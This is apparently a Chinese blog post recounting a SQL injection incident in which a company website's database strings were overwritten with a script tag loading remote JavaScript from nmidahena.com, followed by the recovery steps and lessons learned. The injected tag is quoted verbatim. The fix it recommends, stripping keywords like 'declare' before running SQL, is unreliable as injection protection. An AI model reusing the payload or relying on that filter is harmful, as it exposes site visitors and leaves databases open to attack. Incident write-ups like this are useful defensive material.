前几天,我集团的网站遭受了首次nmidahena.com/1.js 式sql 注入攻击,数据库中所有的表中的字符串字段全被篡改,加上了<script src=http://www.nmidahena.com/1.js></script>一段代码,很多信息被这一脚本截掉。因为我们网站的所有信息图片和新闻,布局等信息都是在数据中中配置的,所有造成了网站所有的图片打不开,新闻栏目不可用,互动栏目等更是如此,后台数据集团非常着急,领导安排我去解决。
我到场后,首先查看了网站的代码,发现所有的图片等配置信息等都是在数据库中动态读取,所有我立即打看数据库查看数据,发现所有的表中的字符串列都被篡改。
还原数据库本来看来是当前要做的,但不幸的是,发现近几天的备份文件也有问题,即备份前已经被攻击了,之后由于清明和周末的假期,没有人发现,上报而已。可以肯定的是,上周五的网站是正常的,那么自然的是找周五的备份文件了,可是又发现由于服务器空间的限制,系统管理员已经将该备份文件删除。幸运的是,我们无意中发现了上线前的一台测试服务器上有可用的数据库,好在大部分配置信息是没有发生变化的,只是新闻旧了些,网站上的广告图片旧了些,现替换上再说,先应急,领导们都很着急!新建数据库,将测试数据库备份,备份文件导入到外网服务器,还原,切换网站数据库联接配置文件。ok,网站可以正常使用了,立即建议网站管理员通过后台维护界面维护最新的logo,广告信息和其它链接,请公司新闻管理员加入最新的新闻。救火完成!
接下来的工作是如何恢复数据,我首先尝试用数据恢复工具,找到被管理员删除的数据,可找到后,发现找到的备份数据根本无法还原,报“发生内部一致性错误.请与
技术
支持联系以寻求协助。RESTORE DATABASE 操作异常终止”。在网上查资料才得知,一般的数据恢复软件如finaldata等只能恢复连续的数据,而数据库文件一定是不连续的,所以100%的不能恢复。本来公司准备花高薪请数据恢复专家,后来被我拒绝了,原因是,我觉得数据的手工还原也不是没有可能,数据被破坏主要是一些动态数据,如日志,用户信息和新闻栏目等,数据的破坏也是有规律的,主要的配置数据可以参照测试时配置数据做还原。动态数据主要的数据也可以还原,一些最新的数据的丢失,影响不大,网站管理员手工添加或维护!
数据经过我的几个小时的努力,手工恢复了,测试正常!接下来的工作,接着的工作是找原因,防止问题再次发生。发现是nmidahena.com/1.js 式sql 注入攻击,参加
http://www.cwws.com.cn/database/sqlserver/2008/04/03/12470.shtml的一篇文章!
检查代码,发现原来的开发商的和数据库交互的一段核心代码有瑕疵,没有对sql注入攻击做任何防范,另外在sql执行错误之后,返回了消息的错误和sql,这都是防范sql注入的基本知识。故在sql执行前,转化成小写,replace掉关键的,敏感的关键字,特别是“declare ”(注意,我在declare之后加了一空格)!去掉数据库执行错误之后错误信息的显示。我相信,类似的问题应该不会再发生。
总结经验:1、数据库的备份应该至少保证一周的备份;2、通过常用数据恢复软件恢复的数据库文件不可用,原因是常见的恢复工具只能恢复连续性文件;3,在代码层面必须注意sql注入的防范,在执行sql前过滤掉敏感关键字,如repalce掉“declare”等,同时数据库错误不应该返回出错详细信息!
总结经验:1、数据库的备份应该至少保证一周的备份;2、通过常用数据恢复软件恢复的数据库文件不可用,原因是常见的恢复工具只能恢复连续性文件;3,在代码层面必须注意sql注入的防范,在执行sql前过滤掉敏感关键字,如repalce掉“declare”等,同时数据库错误不应该返回出错详细信息!